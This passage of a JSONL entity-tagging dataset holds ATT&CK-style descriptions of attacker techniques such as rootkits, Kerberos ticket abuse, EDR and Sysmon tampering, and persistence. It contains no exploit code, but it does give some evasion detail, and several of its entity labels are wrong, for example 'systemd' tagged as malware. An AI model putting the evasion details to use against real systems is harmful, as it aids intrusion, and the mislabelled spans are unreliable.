"apt_reports", "name": "Exfiltration Over Alternative Protocol"}}
+{"text": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. \n\nWhen used maliciously, LKMs can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.\n\nAdversaries can use LKMs and kexts to conduct Persistence and/or Privilege Escalation on a system. Examples have been found in the wild, and there are some relevant open source projects as well.", "spans": {"SYSTEM: macOS": [[812, 817], [1016, 1021], [1452, 1457]], "SYSTEM: Linux": [[874, 879]], "ORGANIZATION: Apple": [[1213, 1218]]}, "info": {"source": "apt_reports", "name": "Kernel Modules and Extensions"}}
+{"text": "Adversaries may employ various time-based methods to evade detection and analysis. These techniques often exploit system clocks, delays, or timing mechanisms to obscure malicious activity, blend in with benign activity, and avoid scrutiny. Adversaries can perform this behavior within virtualization/sandbox environments or natively on host systems. \n\nAdversaries may utilize programmatic `sleep` commands or native system scheduling functionality, for example Scheduled Task/Job. Benign commands or other operations may also be used to delay malware execution or ensure prior commands have had time to execute properly. Loops or otherwise needless repetitions of commands, such as `ping`, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments. Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).", "spans": {}, "info": {"source": "apt_reports", "name": "Delay Execution"}}
+{"text": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell).\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.", "spans": {"TOOL: PowerShell": [[744, 754]], "SYSTEM: Unix": [[896, 900]], "SYSTEM: Linux": [[759, 764]]}, "info": {"source": "apt_reports", "name": "GUI Input Capture"}}
+{"text": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.  \n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). \n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.", "spans": {"SYSTEM: Kerberos": [[70, 78], [135, 143], [255, 263], [705, 713]], "SYSTEM: NTLM": [[978, 982]], "SYSTEM: SharePoint": [[859, 869]], "SYSTEM: Active Directory": [[1041, 1057]]}, "info": {"source": "apt_reports", "name": "Pass the Ticket"}}
+{"text": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). \n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing – for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.\n\nTool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.", "spans": {"THREAT_ACTOR: Cobalt": [[686, 692]], "TOOL: Cobalt Strike": [[686, 699]], "TOOL: PsExec": [[279, 285]]}, "info": {"source": "apt_reports", "name": "Tool"}}
+{"text": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "spans": {}, "info": {"source": "apt_reports", "name": "Exfiltration over USB"}}
+{"text": "Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads. The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.\n\nAn adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as Reflective Code Loading or Process Injection into another process.\n\nA pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> Native API function). Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload. Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[1296, 1303]]}, "info": {"source": "apt_reports", "name": "KernelCallbackTable"}}
+{"text": "Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).", "spans": {}, "info": {"source": "apt_reports", "name": "Search Closed Sources"}}
+{"text": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to Cron in Linux environments. Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over SSH.\n\nEach <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are Systemd Service unit files that are managed by the systemd system and service manager. Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence. Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.", "spans": {"FILEPATH: /etc/systemd/system/</code>": [[821, 848]], "FILEPATH: /usr/lib/systemd/system</code>": [[859, 889]], "TOOL: SSH": [[487, 490]], "SYSTEM: Linux": [[353, 358]], "MALWARE: systemd": [[22, 29], [746, 753], [826, 833], [868, 875], [938, 945], [982, 989]]}, "info": {"source": "apt_reports", "name": "Systemd Timers"}}
+{"text": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\").\n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).", "spans": {"VULNERABILITY: spearphishing": [[179, 192], [197, 210]], "VULNERABILITY: thread hijacking": [[1172, 1188]], "VULNERABILITY: phishing": [[21, 29], [86, 94], [344, 352], [1218, 1226]]}, "info": {"source": "apt_reports", "name": "Phishing"}}
+{"text": "**This technique has been deprecated. Please use Remote Services where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as Remote Desktop Protocol, instead of through a Command and Scripting Interpreter, to search for information and execute files via mouse double-click events, the Windows Run command , or other potentially difficult to monitor interactions.", "spans": {"TOOL: Remote Desktop Protocol": [[287, 310]], "SYSTEM: Windows": [[447, 454]]}, "info": {"source": "apt_reports", "name": "Graphical User Interface"}}
+{"text": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. \n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to TFTP Boot, an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.", "spans": {"SYSTEM: Cisco": [[207, 212]]}, "info": {"source": "apt_reports", "name": "ROMMONkit"}}
+{"text": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX.  CHM content is displayed using underlying components of the Internet Explorer browser  loaded by the HTML Help executable program (hh.exe). \n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe.", "spans": {"SYSTEM: Java": [[310, 314]], "SYSTEM: Internet Explorer": [[390, 407]], "ORGANIZATION: Microsoft": [[126, 135]]}, "info": {"source": "apt_reports", "name": "Compiled HTML File"}}
+{"text": "Adversaries may leverage the compute resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nOne common purpose for Compute Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive. Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Compute Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.", "spans": {}, "info": {"source": "apt_reports", "name": "Compute Hijacking"}}
+{"text": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and SMB/Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command.", "spans": {"SYSTEM: SMB": [[140, 143]], "SYSTEM: Windows": [[115, 122], [144, 151]]}, "info": {"source": "apt_reports", "name": "Network Share Connection Removal"}}
+{"text": "Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nFor example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. \n\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN).  Protocols such as ICMP may be used as a transport.  \n\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.", "spans": {"TOOL: Tor": [[603, 606]]}, "info": {"source": "apt_reports", "name": "Multi-hop Proxy"}}
+{"text": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to Valid Accounts within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as OS Credential Dumping, Account Discovery, or Password Policy Discovery. Adversaries may also combine brute forcing activity with behaviors such as External Remote Services as part of Initial Access. \n\nIf an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.", "spans": {"VULNERABILITY: brute force": [[20, 31], [616, 627]]}, "info": {"source": "apt_reports", "name": "Brute Force"}}
+{"text": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.\n\nSome systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.", "spans": {"TOOL: SSH": [[850, 853]], "SYSTEM: macOS": [[122, 127]], "SYSTEM: Unix": [[22, 26], [69, 73], [177, 181], [272, 276], [376, 380], [685, 689], [1115, 1119]], "SYSTEM: ESXi": [[133, 137], [1074, 1078]], "SYSTEM: Linux": [[115, 120], [1049, 1054]]}, "info": {"source": "apt_reports", "name": "Unix Shell"}}
+{"text": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.\n\nOnce malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.", "spans": {"SYSTEM: Outlook": [[32, 39], [93, 100], [167, 174], [192, 199], [328, 335], [428, 435]], "SYSTEM: Microsoft Outlook": [[22, 39]], "ORGANIZATION: Microsoft": [[22, 31]]}, "info": {"source": "apt_reports", "name": "Outlook Forms"}}
+{"text": "An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment.  \n\nRemote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).", "spans": {}, "info": {"source": "apt_reports", "name": "Remote Access Hardware"}}
+{"text": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself.  \n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.", "spans": {"SYSTEM: macOS": [[0, 5]], "VULNERABILITY: privilege escalation": [[202, 222], [694, 714]]}, "info": {"source": "apt_reports", "name": "Dylib Hijacking"}}
+{"text": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.\n\nAdversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional.  By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to Indicator Blocking, adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection. For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool’s exclusion list, enabling them to hide malicious files via File/Path Exclusions.\n\nAdversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational</code> may be modified to tamper with and potentially disable Sysmon logging. \n\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools. For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. Exploitation for Privilege Escalation), which may lead to bypassing anti-tampering features.", "spans": {"TOOL: Process Explorer": [[1021, 1037]], "TOOL: Sysmon": [[2348, 2354], [2504, 2510], [2585, 2591]], "SYSTEM: WMI": [[2462, 2465]], "SYSTEM: Google Cloud": [[2957, 2969]], "SYSTEM: Windows": [[626, 633], [973, 980], [1726, 1733], [2496, 2503]], "SYSTEM: AWS": [[2939, 2942]], "ORGANIZATION: Microsoft": [[2135, 2144], [2486, 2495]], "ORGANIZATION: Google": [[2957, 2963]], "VULNERABILITY: rootkit": [[3101, 3108]]}, "info": {"source": "apt_reports", "name": "Disable or Modify Tools"}}
+{"text": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {}, "info": {"source": "apt_reports", "name": "Data Manipulation"}}
+{"text": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes. Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.", "spans": {"SYSTEM: Windows": [[562, 569]], "SYSTEM: Linux": [[619, 624]]}, "info": {"source": "apt_reports", "name": "Inter-Process Communication"}}
+{"text": "Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.", "spans": {}, "info": {"source": "apt_reports", "name": "Data Obfuscation"}}
+{"text": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.", "spans": {"TOOL: cmd": [[370, 373]]}, "info": {"source": "apt_reports", "name": "Data from Network Shared Drive"}}
+{"text": "Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.", "spans": {"SYSTEM: GitHub": [[198, 204]], "ORGANIZATION: Google": [[224, 230], [629, 635]]}, "info": {"source": "apt_reports", "name": "Web Services"}}
+{"text": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.  On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.  This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.", "spans": {}, "info": {"source": "apt_reports", "name": "Modify System Image"}}
+{"text": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "spans": {"SYSTEM: Windows": [[726, 733]]}, "info": {"source": "apt_reports", "name": "Hijack Execution Flow"}}
+{"text": "Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc.  The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent.\n\nAdversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.", "spans": {}, "info": {"source": "apt_reports", "name": "Browser Fingerprint"}}
+{"text": "Adversaries may abuse Lua commands and scripts for execution. Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (<code>.lua</code>), or from Lua-embedded programs (through the <code>struct lua_State</code>).\n\nLua scripts may be executed by adversaries for malicious purposes. Adversaries may incorporate, abuse, or replace existing Lua interpreters to allow for malicious Lua command execution at runtime.", "spans": {"TOOL: replace": [[472, 479]]}, "info": {"source": "apt_reports", "name": "Lua"}}
+{"text": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.", "spans": {}, "info": {"source": "apt_reports", "name": "Indicator Removal from Tools"}}
+{"text": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via Upload Malware, and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: Match Legitimate Resource Name or Location).", "spans": {"SYSTEM: Google Cloud": [[138, 150]], "SYSTEM: Amazon Web Services": [[82, 101]], "SYSTEM: Docker": [[237, 243]], "SYSTEM: GCP": [[161, 164]], "SYSTEM: AWS": [[103, 106]], "SYSTEM: Azure": [[178, 183]], "ORGANIZATION: Amazon": [[82, 88], [108, 114]], "ORGANIZATION: Google": [[138, 144]]}, "info": {"source": "apt_reports", "name": "Malicious Image"}}
+{"text": "Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host.\n\nFor example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host. A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.\n\nIn Kubernetes environments, DaemonSets allow an adversary to persistently Deploy Containers on all nodes, including ones added later to the cluster. Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.\n\nNote that containers can also be configured to run as Systemd Services.", "spans": {"SYSTEM: Kubernetes": [[705, 715]], "SYSTEM: Docker": [[223, 229]]}, "info": {"source": "apt_reports", "name": "Container Service"}}
+{"text": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.", "spans": {"SYSTEM: Outlook": [[389, 396]]}, "info": {"source": "apt_reports", "name": "Valid Accounts"}}
+{"text": "Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.", "spans": {}, "info": {"source": "apt_reports", "name": "Non-Standard Port"}}
+{"text": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona  on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).", "spans": {"ORGANIZATION: Facebook": [[573, 581]]}, "info": {"source": "apt_reports", "name": "Social Media Accounts"}}
+{"text": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests  are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. \n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", "spans": {"SYSTEM: Windows": [[235, 242]]}, "info": {"source": "apt_reports", "name": "DLL Side-Loading"}}
